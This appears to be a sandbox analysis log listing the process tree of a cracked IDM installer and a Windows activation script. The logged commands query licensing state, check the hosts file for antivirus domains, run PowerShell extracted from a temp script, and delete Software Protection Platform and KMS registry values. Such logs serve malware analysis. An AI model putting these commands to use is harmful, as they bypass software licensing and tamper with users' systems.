C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-winword.exe-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo -smss.exe- -csrss.exe- -wininit.exe- -csrss.exe- -winlogon.exe- -services.exe- -lsass.exe- -fontdrvhost.exe- -fontdrvhost.exe- -svchost.exe- -WUDFHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -dwm.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -spoolsv.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -sihost.exe- -svchost.exe- -taskhostw.exe- -explorer.exe- -svchost.exe- -svchost.exe- -SearchHost.exe- -RuntimeBroker.exe- -svchost.exe- -RuntimeBroker.exe- -dllhost.exe- -dllhost.exe- -svchost.exe- -sppsvc.exe- -svchost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -SppExtComObj.Exe- -svchost.exe- -OfficeClickToRun.exe- -dllhost.exe- -svchost.exe- -chrome.exe- -ApplicationFrameHost.exe- -svchost.exe- -svchost.exe- -svchost.exe- -chrome.exe- -svchost.exe- -chrome.exe- -dllhost.exe- -ShellExperienceHost.exe- -RuntimeBroker.exe- -svchost.exe- -chrome.exe- -WmiPrvSE.exe- -svchost.exe- -IDM_6.4x_Crack_v20.6.exe- -WmiPrvSE.exe- -explorer.exe- -explorer.exe- -IDMan.exe- -powershell.exe- -conhost.exe- -powershell.exe- -conhost.exe- -cmd.exe- -conhost.exe- -cmd.exe- -tasklist.exe- -findstr.exe- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-lime.exe-"7⤵
-
-
C:\Windows\System32\choice.exechoice /C:1230 /N7⤵
-
-
C:\Windows\System32\mode.commode 76, 347⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds7⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345678EH0 /N7⤵
-
-
C:\Windows\System32\mode.commode 76, 307⤵
-
-
C:\Windows\System32\choice.exechoice /C:1234567890 /N7⤵
-
-
C:\Windows\System32\mode.commode 115, 327⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=32;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"7⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "7⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"7⤵
-
-
C:\Windows\System32\cmd.execmd /c "wmic path Win32_ComputerSystem get CreationClassName /value"7⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value8⤵
-
-
-
C:\Windows\System32\find.exefind /i "computersystem"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST8⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':winsubstatus\:.*';. ([scriptblock]::Create($f[1]))"7⤵
-
-
C:\Windows\System32\find.exefind /i "Subscription_is_activated"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 Pro" "7⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"7⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$job = Start-Job { (Get-WmiObject -Query 'SELECT * FROM SoftwareLicensingService').Version }; if (-not (Wait-Job $job -Timeout 30)) {write-host 'sppsvc is not working correctly. Check this webpage for help - https://massgrave.dev/troubleshoot'}"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver7⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 l.root-servers.net7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"7⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts7⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "7⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"7⤵
-
-
C:\Windows\System32\sc.exesc query Null7⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState8⤵
-
-
-
C:\Windows\System32\sc.exesc start sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type7⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start Winmgmt7⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt7⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type7⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt7⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"7⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt7⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"7⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt7⤵
- Launches sc.exe
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value7⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"7⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version7⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 07⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0" "7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440 0x80131501"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul7⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore8⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'C:\Windows\System32\spp\store\2.0' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow FullControl') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SYSTEM\WPA' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow QueryValues, EnumerateSubKeys, WriteKey') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow SetValue') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$netServ = (New-Object Security.Principal.SecurityIdentifier('S-1-5-20')).Translate([Security.Principal.NTAccount]).Value; $aclString = Get-Acl 'Registry::HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies' | Format-List | Out-String; if (-not ($aclString.Contains($netServ + ' Allow FullControl') -or $aclString.Contains('NT SERVICE\sppsvc Allow FullControl')) -or ($aclString.Contains('Deny'))) {Exit 3}"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))"8⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE8⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE8⤵
-
-
-
C:\Windows\System32\sc.exesc query wlms7⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SLsvc.exe"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe\PerfOptions"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"8⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Get-WmiObject -Query 'SELECT Description FROM SoftwareLicensingProduct WHERE PartialProductKey IS NOT NULL AND LicenseDependsOn IS NULL' | Select-Object -Property Description"7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "KMS_"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]"8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "7⤵
-
-
C:\Windows\System32\find.exefind /i "Ready"7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "actionlist" /f7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Removed" "7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Removed Not Found"7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SLsvc.exe" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableDnsPublishing7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f7⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v DisableDnsPublishing7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\59a52881-a989-479d-af46-f275c6370663" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f7⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL and Description like '%KMSCLIENT%'" Get Name /value 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL and Description like '%KMSCLIENT%'" Get Name /value8⤵
-
-
-
